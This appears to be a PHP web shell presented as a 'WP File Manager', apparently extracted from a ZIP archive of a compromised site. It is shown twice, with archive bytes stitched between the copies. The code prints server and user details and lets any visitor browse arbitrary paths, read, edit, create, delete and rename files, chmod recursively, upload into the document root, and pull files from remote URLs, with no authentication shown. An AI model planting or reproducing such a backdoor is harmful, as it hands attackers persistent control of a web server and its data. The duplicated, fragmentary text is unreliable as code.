'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëteam@dunyagozbalkans.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
